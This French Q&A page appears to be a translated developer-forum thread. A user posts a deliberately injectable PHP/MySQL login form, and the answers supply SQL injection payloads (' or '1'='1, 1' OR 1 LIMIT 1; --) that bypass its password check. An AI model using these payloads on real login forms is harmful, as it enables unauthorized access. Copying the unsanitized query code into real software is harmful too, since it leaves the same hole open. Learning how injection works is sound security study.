web-dev-qa-db-fra.com

PHP Exemple d'injection MySQL?

Je veux utiliser l'injection PHP/Mysql avec un exemple de connexion, mon code est ci-dessous.

J'ai essayé avec un nom d'utilisateur de anything' -- et un mot de passe vide mais cela ne fonctionne pas et je n'ai pas pu me connecter.

Quelqu'un pourrait-il m'aider?

<?php
mysql_connect('localhost','root','root');
mysql_select_db('hp');
?>

<form action="" method="post">
<table width="50%">
    <tr>
        <td>User</td>
        <td><input type="text" name="user"></td>
    </tr>
    <tr>
        <td></td>
        <td><input type="text" name="password"></td>
    </tr>
</table>
    <input type="submit" value="OK" name="s">
</form>

<?php
if($_POST['s']){
    $user = $_POST['user'];
    $pass = $_POST['password'];     
    $re = mysql_query("select * from zend_adminlist where user_name = '$user' and password = '$pass'");

    if(mysql_num_rows($re) == 0){       
        echo '0';
    }else{
        echo '1';
    }
}
?>
16
Thanh Nguyen

L'un des exemples les plus courants est cette requête:

' or '1'='1

Si vous entrez ceci comme nom d'utilisateur et mot de passe dans une entrée de connexion non autorisée, la requête change comme suit:

Original: SELECT * FROM USERS WHERE USER='' AND PASS='';
Modified: SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1';

Cela fait que chaque chose qu'elle recherche est vraie, car 1 sera toujours égal à 1. Le problème avec cette méthode est qu'elle ne permet pas la sélection d'un utilisateur particulier. Ce faisant, vous devez lui faire ignorer l'instruction AND en la commentant comme on le voit dans d'autres exemples.

22
Lemon Drop

Si la valeur du nom d'utilisateur est:

 $_POST['user'] = "1' OR 1 LIMIT 1; --";

Ensuite, la requête mysql devient:

select * 
from zend_adminlist 
where user_name = '1' OR 1 LIMIT 1; --' and password = '$pass'
7
Kovge